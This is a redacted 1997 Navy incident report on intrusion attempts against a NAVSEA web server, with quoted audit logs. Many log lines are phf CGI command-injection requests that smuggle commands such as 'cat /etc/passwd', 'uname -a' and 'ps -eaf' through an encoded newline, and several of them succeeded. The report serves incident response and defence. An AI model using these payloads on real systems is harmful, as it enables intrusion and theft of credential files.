INCIDENT → G0430.01

b6
b7C

Report Date: 30 April 1997
Name: [redacted]
Command: NAVSEA Indian Head MD
Phone (COMM): 301-743-6474
Phone (DSN): 354-6474
E-Mail: [redacted]@hq.navsea.navy.mil, webmaster@www.navsea.navy.mil
Type: Intrusion Attempts
Suspect IP:
Victim IP: www.navsea.navy.mil (aka: [redacted]navsea.navy.mil) 144.11.10.110
Port/Service: phf
Incident Date: 3 Dec 97 to 30 Apr 97
NCIS Case #:
Case Status:
By:
Notes: After receiving a NAVCIRT Advisory on cgi-bin vulnerabilities, the command checked their audit logs for traces of attempts to exploit the vulnerabilities identified. The command found 24 attempts to get their password file from 18 separate IP addresses dating between 3 December through 30 April 1997.

b7E

Logs follow:

[redacted] [03/Dec/1996:17:56:HEAD /cgi-bin/WebQuery HTTP/1.0
404 0
[redacted] [18/Dec/1996:08:02:GET /cgi-bin/net.Thread.pl/message/23/12/1 HTTP/1.0
404 166
[redacted] [24/Dec/1996:08:40:GET /cgi-bin/sites.pl?-alpha HTTP/1.0
404 145
[redacted] [24/Dec/1996:08:40:GET /cgi-bin/rsites.pl?-alpha HTTP/1.0
404 146
md59-099.compuserve.com [25/Dec/1996:05:23:GET /cgi-bin/wais-text-multi? HTTP/1.0
404 152
ppp85.ts1.enterprise.ca [06/Jan/1997:21:56:GET /cgi-bin/phf?Qalias=X%0Acat%20/etc/passwdcgi-bin/phf? HTTP/1.0
200 101
ppp85.ts1.enterprise.ca [06/Jan/1997:21:56:GET /cgi-bin/phf?Qalias=X%0Acat%20/etc/passwd HTTP/1.0
200 88
head682.dt.navy.mil [09/Jan/1997:16:21:GET /cgi-bin/rphone.pl HTTP/1.0
404 146
head682.dt.navy.mil [09/Jan/1997:16:42:GET /cgi-bin/rphone.pl HTTP

G0430.01

/1.0
404 146
head682.dt.navy.mil [09/Jan/1997:16:49:GET /cgi-bin/rphone.pl HTTP
/1.0
404 146
[redacted] [13/Jan/1997:15:40:GET /cgi-bin/ilpcnew.sh?fir
st= HTTP/1.0
404 147
atrocious.dialin.utoront[19/Jan/1997:08:09:GET /cgi-bin/wais-text-mult
i? HTTP/1.0
404 -4
mcipmcfw.pmc.[redacted].com[23/Jan/1997:14:35:GET /cgi-bin/pursuit?query=
atlantic+systems+group+turnstyle&matchmode=
or&minscore=.1&maxhits=
40&terse=terse
404 -4
www4.worldtel.net [26/Jan/1997:15:30:GET /cgi-bin/phf/?Qalias=x%
ff/bin/cat%20/etc/passwd
200 92
[redacted].vianet.net.au [28/Jan/1997:09:29:GET /cgi-bin/phf/?Qalias=x%
.a/bin/cat%20/etc/passwd
200 93
[redacted] [21/Feb/1997:13:15:GET /cgi-bin/phf?Q=x%0aunam
e+-a
200 76
[redacted] [11/Mar/1997:21:10:GET /cgi HTTP/1.0
404 132
nnsdc-bh.cc.nns.com [01/Apr/1997:10:53:GET /cgi-bin/pursuit?query=
NORFOLK%20NAVAL%20YARD" HTTP/1.0
404 144
[redacted] [10/Apr/1997:14:06:GET /cgi-bin/ilpcnew.sh?fir
st= HTTP/1.0
404 147
[redacted].compuserve.[12/Apr/1997:21:37:GET /cgi-bin/phf?Qalias=x%0
a/bin/cat%20/etc/passwd HTTP/1.0
200 93
ppp1.eagle.ovik.se [15/Apr/1997:08:11:GET /cgi-bin/phf?Qalias=x%0
a/bin/cat%20/etc/passwd HTTP/1.0
200 93
ppp63.cityline.ru [30/Apr/1997:10:58:GET /cgi-bin/phf?Q=x%0aunam
e%20-a
404 139
ppp63.cityline.ru [30/Apr/1997:10:58:GET /cgi-bin/phf?Q=x%0aps%2
0-eaf
404 139
ppp63.cityline.ru [30/Apr/1997:10:58:GET /cgi-bin/phf?Q=x%0acat%
20/etc/passwd
404 139

b7E

(13)

18